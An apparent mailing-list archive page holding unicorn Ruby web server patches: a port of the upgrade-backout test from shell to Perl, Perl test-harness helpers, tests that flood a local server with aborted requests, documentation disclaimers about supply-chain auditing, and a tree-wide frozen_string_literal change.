+ $c = tcp_start $srv, 'GET /env_dump HTTP/1.0';
+ vec(my $rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT 'timed out env_dump';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ ok $hdr, 'got all headers';
+
+ # start a slow TCP request
+ my $rfifo = "$tmpdir/rfifo";
+ mkfifo_die $rfifo;
+ $c = tcp_start $srv, "GET /read_fifo HTTP/1.0\r\nRead-FIFO: $rfifo";
+ tcp_start $srv, 'GET /aborted HTTP/1.0' for (1..100);
+ write_file '>', $rfifo, 'TFIN';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ $bdy = <$c>;
+ is $bdy, 'TFIN', 'got slow response from TCP socket';
+
+ # slow Unix socket request
+ $c = unix_start $u1, "GET /read_fifo HTTP/1.0\r\nRead-FIFO: $rfifo";
+ vec($rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT 'timed out Unix CCC';
+ unix_start $u1, 'GET /aborted HTTP/1.0' for (1..100);
+ write_file '>', $rfifo, 'UFIN';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ $bdy = <$c>;
+ is $bdy, 'UFIN', 'got slow response from Unix socket';
+
+ ($status, $hdr, $bdy) = do_req $srv, 'GET /nr_aborts HTTP/1.0';
+ like "@$hdr", qr/nr-aborts: 0\b/,
+ 'aborted connections unseen by Rack app';
}
if ('max_header_len internal API') {
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
deleted file mode 100644
index a0a2bff..0000000
--- a/test/unit/test_ccc.rb
+++ /dev/null
@@ -1,92 +0,0 @@
-# frozen_string_literal: false
-require 'socket'
-require 'unicorn'
-require 'io/wait'
-require 'tempfile'
-require 'test/unit'
-require './test/test_helper'
-
-class TestCccTCPI < Test::Unit::TestCase
- def test_ccc_tcpi
- start_pid = $$
- host = '127.0.0.1'
- srv = TCPServer.new(host, 0)
- port = srv.addr[1]
- err = Tempfile.new('unicorn_ccc')
- rd, wr = IO.pipe
- sleep_pipe = IO.pipe
- pid = fork do
- sleep_pipe[1].close
- reqs = 0
- rd.close
- worker_pid = nil
- app = lambda do |env|
- worker_pid ||= begin
- at_exit { wr.write(reqs.to_s) if worker_pid == $$ }
- $$
- end
- reqs += 1
-
- # will wake up when writer closes
- sleep_pipe[0].read if env['PATH_INFO'] == '/sleep'
-
- [ 200, {'content-length'=>'0', 'content-type'=>'text/plain'}, [] ]
- end
- ENV['UNICORN_FD'] = srv.fileno.to_s
- opts = {
- listeners: [ "#{host}:#{port}" ],
- stderr_path: err.path,
- check_client_connection: true,
- }
- uni = Unicorn::HttpServer.new(app, opts)
- uni.start.join
- end
- wr.close
-
- # make sure the server is running, at least
- client = tcp_socket(host, port)
- client.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
- assert client.wait(10), 'never got response from server'
- res = client.read
- assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first response'
- assert_match %r{\r\n\r\n\z}, res, 'got end of response, server is ready'
- client.close
-
- # start a slow request...
- sleeper = tcp_socket(host, port)
- sleeper.write("GET /sleep HTTP/1.1\r\nHost: example.com\r\n\r\n")
-
- # and a bunch of aborted ones
- nr = 100
- nr.times do |i|
- client = tcp_socket(host, port)
- client.write("GET /collections/#{rand(10000)} HTTP/1.1\r\n" \
- "Host: example.com\r\n\r\n")
- client.close
- end
- sleep_pipe[1].close # wake up the reader in the worker
- res = sleeper.read
- assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first sleeper response'
- assert_match %r{\r\n\r\n\z}, res, 'got end of sleeper response'
- sleeper.close
- kpid = pid
- pid = nil
- Process.kill(:QUIT, kpid)
- _, status = Process.waitpid2(kpid)
- assert status.success?
- reqs = rd.read.to_i
- warn "server got #{reqs} requests with #{nr} CCC aborted\n" if $DEBUG
- assert_operator reqs, :<, nr
- assert_operator reqs, :>=, 2, 'first 2 requests got through, at least'
- ensure
- return if start_pid != $$
- srv.close if srv
- if pid
- Process.kill(:QUIT, pid)
- _, status = Process.waitpid2(pid)
- assert status.success?
- end
- err.close! if err
- rd.close if rd
- end
-end
^ permalink raw reply related [relevance 3%]
* [PATCH 0/4] a small pile of patches
@ 2024-03-23 19:45 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2024-03-23 19:45 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 4446 bytes --]
Some stuff to future-proof against future Ruby incompatibilities.
More coming....
I've also pushed out preliminary work (started in 2021) to the
`pico' branch to switch the HTTP parser from Ragel to
picohttpparser. It will simplify the build + maintenance,
especially when distros carry different Ragel versions (or don't
package it all, as some hackers can't afford bandwidth and disk
for a C++ toolchain).
Other notes: New releases will probably be hosted on yhbt.net if
the Rubygems.org MFA threshold is reached. Caring about the
identity of hackers is totally misguided when we already show
our code (and even document it!). If you can't audit the code
yourself, get an actual professional to do it and don't bother
amateurs like me.
Eric Wong (4):
t/integration: disable proxies when running curl(1)
tests: port back-out-of-upgrade to Perl 5
doc: various updates and disclaimers
treewide: future-proof frozen_string_literal changes
HACKING | 13 +++-
README | 9 +++
Rakefile | 1 +
TODO | 4 +-
bin/unicorn | 1 +
bin/unicorn_rails | 1 +
examples/big_app_gc.rb | 1 +
examples/echo.ru | 1 +
examples/logger_mp_safe.rb | 1 +
examples/unicorn.conf.minimal.rb | 1 +
examples/unicorn.conf.rb | 1 +
ext/unicorn_http/extconf.rb | 1 +
lib/unicorn.rb | 1 +
lib/unicorn/app/old_rails.rb | 1 +
lib/unicorn/app/old_rails/static.rb | 1 +
lib/unicorn/cgi_wrapper.rb | 1 +
lib/unicorn/configurator.rb | 1 +
lib/unicorn/const.rb | 1 +
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 1 +
lib/unicorn/http_server.rb | 1 +
lib/unicorn/launcher.rb | 1 +
lib/unicorn/oob_gc.rb | 1 +
lib/unicorn/preread_input.rb | 1 +
lib/unicorn/select_waiter.rb | 1 +
lib/unicorn/socket_helper.rb | 1 +
lib/unicorn/stream_input.rb | 1 +
lib/unicorn/tee_input.rb | 1 +
lib/unicorn/tmpio.rb | 1 +
lib/unicorn/util.rb | 1 +
lib/unicorn/worker.rb | 1 +
setup.rb | 1 +
t/back-out-of-upgrade.t | 44 +++++++++++
t/broken-app.ru | 1 +
t/client_body_buffer_size.ru | 1 +
t/detach.ru | 1 +
t/env.ru | 1 +
t/fails-rack-lint.ru | 1 +
t/heartbeat-timeout.ru | 1 +
t/integration.ru | 1 +
t/integration.t | 1 +
t/lib.perl | 67 ++++++++++++++---
t/listener_names.ru | 1 +
t/oob_gc.ru | 1 +
t/oob_gc_path.ru | 1 +
t/pid.ru | 1 +
t/preread_input.ru | 1 +
t/reopen-logs.ru | 1 +
t/t0008-back_out_of_upgrade.sh | 110 ----------------------------
t/t0013.ru | 1 +
t/t0014.ru | 1 +
t/t0301.ru | 1 +
test/aggregate.rb | 1 +
test/benchmark/dd.ru | 1 +
test/benchmark/ddstream.ru | 1 +
test/benchmark/readinput.ru | 1 +
test/benchmark/stack.ru | 1 +
test/exec/test_exec.rb | 1 +
test/test_helper.rb | 1 +
test/unit/test_ccc.rb | 1 +
test/unit/test_configurator.rb | 1 +
test/unit/test_droplet.rb | 1 +
test/unit/test_http_parser.rb | 1 +
test/unit/test_http_parser_ng.rb | 1 +
test/unit/test_request.rb | 1 +
test/unit/test_server.rb | 1 +
test/unit/test_signals.rb | 1 +
test/unit/test_socket_helper.rb | 1 +
test/unit/test_stream_input.rb | 1 +
test/unit/test_tee_input.rb | 1 +
test/unit/test_util.rb | 1 +
test/unit/test_waiter.rb | 1 +
unicorn.gemspec | 1 +
73 files changed, 188 insertions(+), 126 deletions(-)
create mode 100644 t/back-out-of-upgrade.t
delete mode 100755 t/t0008-back_out_of_upgrade.sh
[-- Attachment #2: 0001-t-integration-disable-proxies-when-running-curl-1.patch --]
[-- Type: text/x-diff, Size: 737 bytes --]
From f3acce5dce62ac4b0288d3c0ddf0a6db2cbd9e7f Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Tue, 9 Jan 2024 21:35:08 +0000
Subject: [PATCH 1/4] t/integration: disable proxies when running curl(1)
This was also done in t/test-lib.sh, but using '*' is more
encompassing.
---
t/integration.t | 1 +
1 file changed, 1 insertion(+)
diff --git a/t/integration.t b/t/integration.t
index 7310ff2..d17ace0 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -27,6 +27,7 @@ listen "$u1"
EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
+local $ENV{NO_PROXY} = '*'; # for curl
my $fifo = "$tmpdir/fifo";
POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
[-- Attachment #3: 0002-tests-port-back-out-of-upgrade-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 8889 bytes --]
From 724fb631c76f09964ec289ee8e144886ba15d380 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 6 Nov 2023 05:45:29 +0000
Subject: [PATCH 2/4] tests: port back-out-of-upgrade to Perl 5
Another place where we can be faster without adding more
dependencies on Ruby maintaining stable behavior.
---
t/back-out-of-upgrade.t | 44 +++++++++++++
t/lib.perl | 67 +++++++++++++++++---
t/t0008-back_out_of_upgrade.sh | 110 ---------------------------------
3 files changed, 102 insertions(+), 119 deletions(-)
create mode 100644 t/back-out-of-upgrade.t
delete mode 100755 t/t0008-back_out_of_upgrade.sh
diff --git a/t/back-out-of-upgrade.t b/t/back-out-of-upgrade.t
new file mode 100644
index 0000000..cf3b09f
--- /dev/null
+++ b/t/back-out-of-upgrade.t
@@ -0,0 +1,44 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+# test backing out of USR2 upgrade
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+mkfifo_die $fifo;
+write_file '>', $u_conf, <<EOM;
+preload_app true
+stderr_path "$err_log"
+pid "$pid_file"
+after_fork { |s,w| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+my $ar = unicorn(qw(-E none t/pid.ru -c), $u_conf, { 3 => $srv });
+
+like(my $wpid_orig_1 = slurp($fifo), qr/\Apid=\d+\z/a, 'got worker pid');
+
+ok $ar->do_kill('USR2'), 'USR2 to start upgrade';
+ok $ar->do_kill('WINCH'), 'drop old worker';
+
+like(my $wpid_new = slurp($fifo), qr/\Apid=\d+\z/a, 'got pid from new master');
+chomp(my $new_pid = slurp($pid_file));
+isnt $new_pid, $ar->{pid}, 'PID file changed';
+chomp(my $pid_oldbin = slurp("$pid_file.oldbin"));
+is $pid_oldbin, $ar->{pid}, '.oldbin PID valid';
+
+ok $ar->do_kill('HUP'), 'HUP old master';
+like(my $wpid_orig_2 = slurp($fifo), qr/\Apid=\d+\z/a, 'got worker new pid');
+ok kill('QUIT', $new_pid), 'abort old master';
+kill_until_dead $new_pid;
+
+my ($st, $hdr, $req_pid) = do_req $srv, 'GET /';
+chomp $req_pid;
+is $wpid_orig_2, "pid=$req_pid", 'new worker on old worker serves';
+
+ok !-f "$pid_file.oldbin", '.oldbin PID file gone';
+chomp(my $old_pid = slurp($pid_file));
+is $old_pid, $ar->{pid}, 'PID file restored';
+
+my @log = grep !/ERROR -- : reaped .*? exec\(\)-ed/, slurp($err_log);
+check_stderr @log;
+undef $tmpdir;
+done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 9254b23..b20a2c6 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,30 +6,58 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
+use Socket qw(SOMAXCONN);
use Time::HiRes qw(sleep time);
use IO::Socket::INET;
+use IO::Socket::UNIX;
+use Carp qw(croak);
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
- $pid_file);
+ $pid_file, $wtest_sock, $fifo);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
+ $wtest_sock $fifo
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req stop_daemon sleep time);
+ do_req stop_daemon sleep time mkfifo_die kill_until_dead write_file);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
+
+$wtest_sock = "$tmpdir/wtest.sock";
$err_log = "$tmpdir/err.log";
$pid_file = "$tmpdir/pid";
+$fifo = "$tmpdir/fifo";
$u_sock = "$tmpdir/u.sock";
$u_conf = "$tmpdir/u.conf.rb";
open($errfh, '>>', $err_log);
+if (my $t = $ENV{TAIL}) {
+ my @tail = $t =~ /tail/ ? split(/\s+/, $t) : (qw(tail -F));
+ push @tail, $err_log;
+ my $pid = fork;
+ if ($pid == 0) {
+ open STDOUT, '>&', \*STDERR;
+ exec @tail;
+ die "exec(@tail): $!";
+ }
+ say "# @tail";
+ sleep 0.2;
+ UnicornTest::AutoReap->new($pid);
+}
+
+sub kill_until_dead ($;%) {
+ my ($pid, %opt) = @_;
+ my $tries = $opt{tries} // 1000;
+ my $sig = $opt{sig} // 0;
+ while (CORE::kill($sig, $pid) && --$tries) { sleep(0.01) }
+ $tries or croak "PID: $pid died after signal ($sig)";
+}
+
sub stop_daemon (;$) {
my ($is_END) = @_;
kill('TERM', $daemon_pid);
- my $tries = 1000;
- while (CORE::kill(0, $daemon_pid) && --$tries) { sleep(0.01) }
+ kill_until_dead $daemon_pid;
if ($is_END && CORE::kill(0, $daemon_pid)) { # after done_testing
CORE::kill('KILL', $daemon_pid);
die "daemon_pid=$daemon_pid did not die";
@@ -44,8 +72,9 @@ END {
stop_daemon(1) if defined $daemon_pid;
};
-sub check_stderr () {
- my @log = slurp($err_log);
+sub check_stderr (@) {
+ my @log = @_;
+ slurp($err_log) if !@log;
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
@err = grep(!/failed to set accept_filter=/, @err);
@@ -63,6 +92,16 @@ sub slurp_hdr {
($status, \@hdr);
}
+sub unix_server (;$@) {
+ my $l = shift // $u_sock;
+ IO::Socket::UNIX->new(Listen => SOMAXCONN, Local => $l, Blocking => 0,
+ Type => SOCK_STREAM, @_);
+}
+
+sub unix_connect ($) {
+ IO::Socket::UNIX->new(Peer => $_[0], Type => SOCK_STREAM);
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
@@ -95,8 +134,7 @@ sub tcp_host_port {
sub unix_start ($@) {
my ($dst, @req) = @_;
- my $s = IO::Socket::UNIX->new(Peer => $dst, Type => SOCK_STREAM) or
- BAIL_OUT "unix connect $dst: $!";
+ my $s = unix_connect($dst) or BAIL_OUT "unix connect $dst: $!";
$s->autoflush(1);
print $s @req, "\r\n\r\n" if @req;
$s;
@@ -201,7 +239,7 @@ sub unicorn {
state $ver = $ENV{TEST_RUBY_VERSION} // `$ruby -e 'print RUBY_VERSION'`;
state $eng = $ENV{TEST_RUBY_ENGINE} // `$ruby -e 'print RUBY_ENGINE'`;
state $ext = File::Spec->rel2abs("test/$eng-$ver/ext/unicorn_http");
- state $exe = File::Spec->rel2abs('bin/unicorn');
+ state $exe = File::Spec->rel2abs("test/$eng-$ver/bin/unicorn");
my $pid = spawn(\%env, $ruby, '-I', $lib, '-I', $ext, $exe, @args);
UnicornTest::AutoReap->new($pid);
}
@@ -219,6 +257,17 @@ sub do_req ($@) {
($status, $hdr, $bdy);
}
+sub mkfifo_die ($;$) {
+ POSIX::mkfifo($_[0], $_[1] // 0600) or croak "mkfifo: $!";
+}
+
+sub write_file ($$@) { # mode, filename, LIST (for print)
+ open(my $fh, shift, shift);
+ print $fh @_;
+ # return $fh for futher writes if user wants it:
+ defined(wantarray) && !wantarray ? $fh : close $fh;
+}
+
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
diff --git a/t/t0008-back_out_of_upgrade.sh b/t/t0008-back_out_of_upgrade.sh
deleted file mode 100755
index 96d4057..0000000
--- a/t/t0008-back_out_of_upgrade.sh
+++ /dev/null
@@ -1,110 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 13 "backout of USR2 upgrade"
-
-worker_wait_start () {
- test xSTART = x"$(cat $fifo)"
- unicorn_pid=$(cat $pid)
-}
-
-t_begin "setup and start" && {
- unicorn_setup
- rm -f $pid.oldbin
-
-cat >> $unicorn_config <<EOF
-after_fork do |server, worker|
- # test script will block while reading from $fifo,
- # so notify the script on the first worker we spawn
- # by opening the FIFO
- if worker.nr == 0
- File.open("$fifo", "wb") { |fp| fp.syswrite "START" }
- end
-end
-EOF
- unicorn -D -c $unicorn_config pid.ru
- worker_wait_start
- orig_master_pid=$unicorn_pid
-}
-
-t_begin "read original worker pid" && {
- orig_worker_pid=$(curl -sSf http://$listen/)
- test -n "$orig_worker_pid" && kill -0 $orig_worker_pid
-}
-
-t_begin "upgrade to new master" && {
- kill -USR2 $orig_master_pid
-}
-
-t_begin "kill old worker" && {
- kill -WINCH $orig_master_pid
-}
-
-t_begin "wait for new worker to start" && {
- worker_wait_start
- test $unicorn_pid -ne $orig_master_pid
- new_master_pid=$unicorn_pid
-}
-
-t_begin "old master pid is stashed in $pid.oldbin" && {
- test -s "$pid.oldbin"
- test $orig_master_pid -eq $(cat $pid.oldbin)
-}
-
-t_begin "ensure old worker is no longer running" && {
- i=0
- while kill -0 $orig_worker_pid 2>/dev/null
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "capture pid of new worker" && {
- new_worker_pid=$(curl -sSf http://$listen/)
-}
-
-t_begin "reload old master process" && {
- kill -HUP $orig_master_pid
- worker_wait_start
-}
-
-t_begin "gracefully kill new master and ensure it dies" && {
- kill -QUIT $new_master_pid
- i=0
- while kill -0 $new_worker_pid 2>/dev/null
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "ensure $pid.oldbin does not exist" && {
- i=0
- while test -s $pid.oldbin
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
- while ! test -s $pid
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "ensure $pid is correct" && {
- cur_master_pid=$(cat $pid)
- test $orig_master_pid -eq $cur_master_pid
-}
-
-t_begin "killing succeeds" && {
- kill $orig_master_pid
-}
-
-dbgcat r_err
-
-t_done
[-- Attachment #4: 0003-doc-various-updates-and-disclaimers.patch --]
[-- Type: text/x-diff, Size: 3343 bytes --]
From 69d15a7a51a096b6acf00ccf23e1b988076d3b5f Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Mon, 1 Jan 2024 10:43:13 +0000
Subject: [PATCH 3/4] doc: various updates and disclaimers
Covering my ass from draconian legislation.
---
HACKING | 13 +++++++++----
README | 9 +++++++++
TODO | 4 +---
3 files changed, 19 insertions(+), 7 deletions(-)
diff --git a/HACKING b/HACKING
index 5aca83e..777e75e 100644
--- a/HACKING
+++ b/HACKING
@@ -6,6 +6,8 @@ Like Mongrel, we use Ruby where it makes sense, and Ragel with C where
it helps performance. All of the code that actually runs your Rack
application is written Ruby, Ragel or C.
+Ragel may be dropped in favor of a picohttpparser-based one in the future.
+
As far as tests and documentation goes, we're not afraid to embrace Unix
and use traditional Unix tools where they make sense and get the job
done.
@@ -16,6 +18,9 @@ Tests are good, but slow tests make development slow, so we make tests
faster (in parallel) with GNU make (instead of Rake) and avoiding
RubyGems.
+New tests are written in Perl 5 and use TAP <https://testanything.org/>
+to ensure stability and immunity from Ruby incompatibilities.
+
Users of GNU-based systems (such as GNU/Linux) usually have GNU make
installed as "make" instead of "gmake".
@@ -69,10 +74,10 @@ supported by the versions of Ruby we target.
=== Ragel Compatibility
-We target the latest released version of Ragel and will update our code
-to keep up with new releases. Packaged tarballs and gems include the
-generated source code so they will remain usable if compatibility is
-broken.
+We target the latest released version of Ragel in Debian and will update
+our code to keep up with new releases. Packaged tarballs and gems
+include the generated source code so they will remain usable if
+compatibility is broken.
== Contributing
diff --git a/README b/README
index 84c0fdf..b60ed00 100644
--- a/README
+++ b/README
@@ -122,6 +122,7 @@ supported. Run `unicorn -h` to see command-line options.
There is NO WARRANTY whatsoever if anything goes wrong, but
{let us know}[link:ISSUES.html] and maybe someone can fix it.
+No commercial support will ever be provided by the amateur maintainer.
unicorn is designed to only serve fast clients either on the local host
or a fast LAN. See the PHILOSOPHY and DESIGN documents for more details
@@ -132,6 +133,14 @@ damage done to the entire Ruby ecosystem. Its unintentional popularity
set Ruby back decades in parallelism, concurrency and robustness since
it prolongs and proliferates the existence of poorly-written code.
+unicorn hackers are NOT responsible for your supply chain security:
+read and understand it yourself or get someone you trust to audit it.
+Malicious commits and releases will be made if under duress. The only
+defense you'll ever have is from reviewing the source code.
+
+No user or contributor will ever be expected to sacrifice their own
+security by running JavaScript or revealing any personal information.
+
== Contact
All feedback (bug reports, user/development dicussion, patches, pull
diff --git a/TODO b/TODO
index ebbccdc..a3b18fd 100644
--- a/TODO
+++ b/TODO
@@ -1,3 +1 @@
-* Documentation improvements
-
-* improve test suite
+* improve test suite (port to Perl 5 for stability and maintainability)
[-- Attachment #5: 0004-treewide-future-proof-frozen_string_literal-changes.patch --]
[-- Type: text/x-diff, Size: 24100 bytes --]
From ccf2443901c18ffb26b2785f52d921005e862167 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Thu, 8 Feb 2024 12:16:31 +0000
Subject: [PATCH 4/4] treewide: future-proof frozen_string_literal changes
Once again Ruby seems ready to introduce more incompatibilities
and force busywork upon maintainers[1]. In order to avoid
incompatibilities in the future, I used a Perl script[2] to
prepend `frozen_string_literal: false' to every Ruby file.
Somebody interested will have to go through every Ruby source
file and enable frozen_string_literal once they've thoroughly
verified it's safe to do so.
[1] https://bugs.ruby-lang.org/issues/20205
[2] https://yhbt.net/add-fsl.git/74d7689/s/?b=add-fsl.perl
---
Rakefile | 1 +
bin/unicorn | 1 +
bin/unicorn_rails | 1 +
examples/big_app_gc.rb | 1 +
examples/echo.ru | 1 +
examples/logger_mp_safe.rb | 1 +
examples/unicorn.conf.minimal.rb | 1 +
examples/unicorn.conf.rb | 1 +
ext/unicorn_http/extconf.rb | 1 +
lib/unicorn.rb | 1 +
lib/unicorn/app/old_rails.rb | 1 +
lib/unicorn/app/old_rails/static.rb | 1 +
lib/unicorn/cgi_wrapper.rb | 1 +
lib/unicorn/configurator.rb | 1 +
lib/unicorn/const.rb | 1 +
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 1 +
lib/unicorn/http_server.rb | 1 +
lib/unicorn/launcher.rb | 1 +
lib/unicorn/oob_gc.rb | 1 +
lib/unicorn/preread_input.rb | 1 +
lib/unicorn/select_waiter.rb | 1 +
lib/unicorn/socket_helper.rb | 1 +
lib/unicorn/stream_input.rb | 1 +
lib/unicorn/tee_input.rb | 1 +
lib/unicorn/tmpio.rb | 1 +
lib/unicorn/util.rb | 1 +
lib/unicorn/worker.rb | 1 +
setup.rb | 1 +
t/broken-app.ru | 1 +
t/client_body_buffer_size.ru | 1 +
t/detach.ru | 1 +
t/env.ru | 1 +
t/fails-rack-lint.ru | 1 +
t/heartbeat-timeout.ru | 1 +
t/integration.ru | 1 +
t/listener_names.ru | 1 +
t/oob_gc.ru | 1 +
t/oob_gc_path.ru | 1 +
t/pid.ru | 1 +
t/preread_input.ru | 1 +
t/reopen-logs.ru | 1 +
t/t0013.ru | 1 +
t/t0014.ru | 1 +
t/t0301.ru | 1 +
test/aggregate.rb | 1 +
test/benchmark/dd.ru | 1 +
test/benchmark/ddstream.ru | 1 +
test/benchmark/readinput.ru | 1 +
test/benchmark/stack.ru | 1 +
test/exec/test_exec.rb | 1 +
test/test_helper.rb | 1 +
test/unit/test_ccc.rb | 1 +
test/unit/test_configurator.rb | 1 +
test/unit/test_droplet.rb | 1 +
test/unit/test_http_parser.rb | 1 +
test/unit/test_http_parser_ng.rb | 1 +
test/unit/test_request.rb | 1 +
test/unit/test_server.rb | 1 +
test/unit/test_signals.rb | 1 +
test/unit/test_socket_helper.rb | 1 +
test/unit/test_stream_input.rb | 1 +
test/unit/test_tee_input.rb | 1 +
test/unit/test_util.rb | 1 +
test/unit/test_waiter.rb | 1 +
unicorn.gemspec | 1 +
66 files changed, 66 insertions(+)
diff --git a/Rakefile b/Rakefile
index 37569ce..fe1588b 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# optional rake-compiler support in case somebody needs to cross compile
begin
mk = "ext/unicorn_http/Makefile"
diff --git a/bin/unicorn b/bin/unicorn
index 00c8464..af8353c 100755
--- a/bin/unicorn
+++ b/bin/unicorn
@@ -1,5 +1,6 @@
#!/this/will/be/overwritten/or/wrapped/anyways/do/not/worry/ruby
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'unicorn/launcher'
require 'optparse'
diff --git a/bin/unicorn_rails b/bin/unicorn_rails
index 354c1df..374fd8e 100755
--- a/bin/unicorn_rails
+++ b/bin/unicorn_rails
@@ -1,5 +1,6 @@
#!/this/will/be/overwritten/or/wrapped/anyways/do/not/worry/ruby
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'unicorn/launcher'
require 'optparse'
require 'fileutils'
diff --git a/examples/big_app_gc.rb b/examples/big_app_gc.rb
index c1bae10..0baea26 100644
--- a/examples/big_app_gc.rb
+++ b/examples/big_app_gc.rb
@@ -1,2 +1,3 @@
+# frozen_string_literal: false
# see {Unicorn::OobGC}[https://yhbt.net/unicorn/Unicorn/OobGC.html]
# Unicorn::OobGC was broken in Unicorn v3.3.1 - v3.6.1 and fixed in v3.6.2
diff --git a/examples/echo.ru b/examples/echo.ru
index e982180..453a5e6 100644
--- a/examples/echo.ru
+++ b/examples/echo.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
#
# Example application that echoes read data back to the HTTP client.
# This emulates the old echo protocol people used to run.
diff --git a/examples/logger_mp_safe.rb b/examples/logger_mp_safe.rb
index 05ad3fa..f2c0500 100644
--- a/examples/logger_mp_safe.rb
+++ b/examples/logger_mp_safe.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Multi-Processing-safe monkey patch for Logger
#
# This monkey patch fixes the case where "preload_app true" is used and
diff --git a/examples/unicorn.conf.minimal.rb b/examples/unicorn.conf.minimal.rb
index 46fd634..4f96ede 100644
--- a/examples/unicorn.conf.minimal.rb
+++ b/examples/unicorn.conf.minimal.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Minimal sample configuration file for Unicorn (not Rack) when used
# with daemonization (unicorn -D) started in your working directory.
#
diff --git a/examples/unicorn.conf.rb b/examples/unicorn.conf.rb
index d90bdc4..5bae830 100644
--- a/examples/unicorn.conf.rb
+++ b/examples/unicorn.conf.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Sample verbose configuration file for Unicorn (not Rack)
#
# This configuration file documents many features of Unicorn
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 11099cd..de896fe 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'mkmf'
have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 564cb30..fb91679 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'etc'
require 'stringio'
require 'raindrops'
diff --git a/lib/unicorn/app/old_rails.rb b/lib/unicorn/app/old_rails.rb
index 1e8c41a..54b3e69 100644
--- a/lib/unicorn/app/old_rails.rb
+++ b/lib/unicorn/app/old_rails.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original Rails handler in Mongrel
diff --git a/lib/unicorn/app/old_rails/static.rb b/lib/unicorn/app/old_rails/static.rb
index 2257270..cf34e02 100644
--- a/lib/unicorn/app/old_rails/static.rb
+++ b/lib/unicorn/app/old_rails/static.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original Rails handler in Mongrel
# Copyright (c) 2005 Zed A. Shaw
diff --git a/lib/unicorn/cgi_wrapper.rb b/lib/unicorn/cgi_wrapper.rb
index d9b7fe5..fb43605 100644
--- a/lib/unicorn/cgi_wrapper.rb
+++ b/lib/unicorn/cgi_wrapper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# This code is based on the original CGIWrapper from Mongrel
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index b21a01d..3c81596 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
